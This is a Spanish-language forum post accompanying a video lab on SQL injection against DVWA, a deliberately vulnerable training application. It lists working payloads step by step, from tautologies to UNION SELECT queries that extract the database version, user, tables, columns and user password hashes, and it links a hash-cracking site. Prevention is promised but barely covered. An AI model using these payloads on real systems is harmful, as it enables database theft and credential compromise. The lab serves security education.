Laboratorio de seguridad web: SQL Injection y cómo prevenirla

Routers, OpenWrt, VPN, Wi-Fi, fibra óptica, NAS y storage: tutoriales paso a paso.
admin
Verified
Site Admin
Mensajes: 2144
Registered for: 12 years 5 months
12
Ubicación: Ciudad de Córdoba - Argentina
Gender:
Edad: 44
Contactar:

Laboratorio de seguridad web: SQL Injection y cómo prevenirla

#1

Mensaje por admin »

Laboratorio de seguridad web: SQL Injection y cómo prevenirla

Este video explicará la inyección SQL, el impacto de los ataques SQL exitosos, ejemplos de técnicas de inyección SQL y cómo prevenir la inyección SQL. Disclaimer / Descargo de responsabilidad: este canal es estrictamente educativo para aprender sobre ciberseguridad

Imagen
 
LABORATORIO o TESTEO de PRUEBA
Imagen Sentencias o consultas o comandos usados en el video

Código: Seleccionar todo

Acceder a base de datos via cli

sudo mysql -u root -p

USE dvwa;

SELECT first_name, last_name FROM users WHERE user_id = '2';

SELECT * FROM users WHERE first_name='Gordon'; -- ' AND password='1111'

------------------------

Ejemplos de obtencion de datos

A - Se obtienen datos del usuario

1  

Tambien modificando la url se puede obtener
datos del usuario

http://172.16.15.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

SELECT first_name, last_name FROM users WHERE user_id = '3';

B - Obtener toda la info de una tabla

%' or '1'='1


SELECT first_name, last_name FROM users WHERE user_id = '%' or '1'='1';


C - Obtener la version de la base de datos

%' or 0=0 union select null, version() #

test'union select null, version()#



D - Display el usuario de la base de datos. Con que usuario
el lenguaje de programacion hace las consultas a la base de datos

%' or 0=0 union select null, user() #

test'union select null, user()#


E - Mirar el nombre la base de datos donde estan todas las tablas

%' or 0=0 union select null, database() #
test' union select null, database() #

F  -  Listar todas las tablas que tiene la base de datos

%' and 1=0 union select null, table_name from information_schema.tables #
test' and 1=0 union select null, table_name from information_schema.tables #


G - Display el hostname donde esta alojada la base de datos

' union select null, @@hostname#


H- Todas las columnas de una tabla

test' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #


I - Mostrar el contenido de las columans

%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
LINKS o ENLACES

https://softwarelab.org/es/que-es-inyeccion-sql/
https://byte-mind.net/sql-injection-tip ... ramedidas/
https://www.golinuxcloud.com/install-dvwa-kali-linux/
https://nooblinux.com/sql-injection-exp ... sing-dvwa/
https://crackstation.net/
https://stackoverflow.com/questions/528 ... hrough-cli
https://www.f5.com/es_es/services/resou ... n-firewall
https://crackstation.net/

VIDEO TUTORIAL



Temas relacionados: inyección SQL, impacto y técnicas, prevención, laboratorio educativo de ciberseguridad.

Enlace:
BBCode:
HTML:
Ocultar enlaces al mensaje
Mostrar enlaces al mensaje
Responder

Sign in to join the discussion

You need to be a member in order to post a reply

  • Temas similares
    Respuestas
    Vistas
    Último mensaje

Volver a “Redes/Networking”

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 1 invitado